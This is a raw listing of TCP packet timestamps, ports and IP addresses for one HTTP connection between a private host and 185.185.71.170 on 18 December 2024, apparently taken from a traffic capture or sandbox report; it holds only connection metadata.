Dec 18, 2024 20:56:39.159266949 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.160187006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.160201073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.160254955 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.161253929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.161267042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.161329985 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.162497044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.162511110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.162552118 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.164165974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.164179087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.164275885 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.165415049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.165432930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.165472031 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.166398048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.166410923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.166465998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.167548895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.167562008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.167623043 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.168680906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.168693066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.168749094 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.169719934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.169730902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.169816017 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.170963049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.170975924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.171022892 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.172230005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.172236919 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.172456026 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.173111916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.173125029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.173168898 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.174294949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.174309015 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.174346924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.175584078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.175596952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.175637960 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.176805019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.176817894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.176867962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.178066969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.178081036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.178091049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.178145885 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.179323912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.179337025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.179393053 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.180525064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.180537939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.180603027 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.181761026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.181780100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.181826115 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.183007956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.183021069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.183033943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.183098078 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.184264898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.184278965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.184339046 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.185573101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.185585022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.185650110 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.186733961 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.186747074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.186784983 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.187953949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.187968016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.188020945 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.189315081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.189327955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.189338923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.189387083 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.190665007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.190679073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.190726995 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.191760063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.191788912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.191855907 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.192964077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.192976952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.193022013 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.194190979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.194205999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.194221973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.194266081 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.195406914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.195420980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.195887089 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.196619987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.196633101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.196746111 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.197874069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.197885036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.197945118 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.199107885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.199120998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.199162960 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.332794905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.333079100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.333233118 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.333636999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.334206104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.334315062 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.334853888 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.334868908 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.334943056 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.335869074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.336455107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.336523056 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.337008953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.337028027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.337080002 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.338114977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.338700056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.338712931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.338758945 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.339860916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.340357065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.340372086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.340425968 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.340456009 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.341484070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.342102051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.342319965 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.342580080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.342592955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.342648029 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.343709946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.343724966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.343822956 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.344815016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.344835997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.344899893 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.345940113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.345954895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.346090078 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.347053051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.347065926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.347105026 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.348397017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.348409891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.348541021 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.349304914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.349318981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.349384069 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.350521088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.350534916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.350589037 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.351489067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.351502895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.351558924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.352732897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.352760077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.352816105 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.353776932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.353790998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.354166985 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.354885101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.354901075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.354940891 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.355978012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.355990887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.356064081 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.357157946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.357173920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.357222080 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.358448029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.358462095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.358536005 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.359447956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.359461069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.359496117 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.360464096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.360476971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.360532045 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.361546993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.361561060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.361634970 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.362683058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.362695932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.362757921 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.363789082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.363807917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.363848925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.364896059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.364912033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.364970922 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.366008997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.366023064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.366070032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.367166996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.367181063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.367239952 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.368227959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.368242979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.368282080 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.369359016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.369374037 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.369436979 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.370523930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.370537996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.370587111 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.371793032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.371805906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.371920109 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.372951984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.372972012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.373016119 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.373791933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.373830080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.373908043 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.375088930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.375103951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.375150919 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.376310110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.376326084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.376372099 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.377545118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.377557993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.377599955 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.378793001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.378808022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.378819942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.378854990 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.380002022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.380023956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.380059958 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.381285906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.381302118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.381333113 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.382564068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.382576942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.382613897 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.383742094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.383755922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.383793116 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.384985924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.384999990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.385010958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.385061026 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.385088921 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.386197090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.386210918 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.386259079 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.387470007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.387481928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.387526035 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.388703108 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.388715982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.388767004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.389919043 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.389930964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.389940977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.389978886 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.391187906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.391201973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.391242027 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.524938107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.525139093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.525271893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.525865078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.525924921 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.526411057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.527014017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.527122021 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.527568102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.527580976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.527621984 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.528645992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.529402971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.529413939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.529450893 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.530392885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.530436993 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.530951977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.530965090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.532020092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.532064915 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.532850027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.533332109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.533345938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.533431053 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.534271002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.534812927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.535370111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.535413027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.535461903 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.536467075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.537059069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.537071943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.537117958 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.538140059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.538716078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.538727999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.538770914 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.539835930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.539848089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.539886951 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.540993929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.541006088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.541042089 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.542408943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.542422056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.543020010 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.543195009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.543205976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.543243885 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.544365883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.544378042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.544416904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.545428991 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.545439959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.546523094 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.546551943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.546564102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.546597958 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.547795057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.547816038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.547857046 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.549261093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.549274921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.549313068 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.550357103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.550369978 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.550414085 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.551477909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.551491976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.552247047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.552258968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.552294970 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:39.554610014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.554622889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:39.554678917 CET	49747	80	192.168.2.3	185.185.71.170
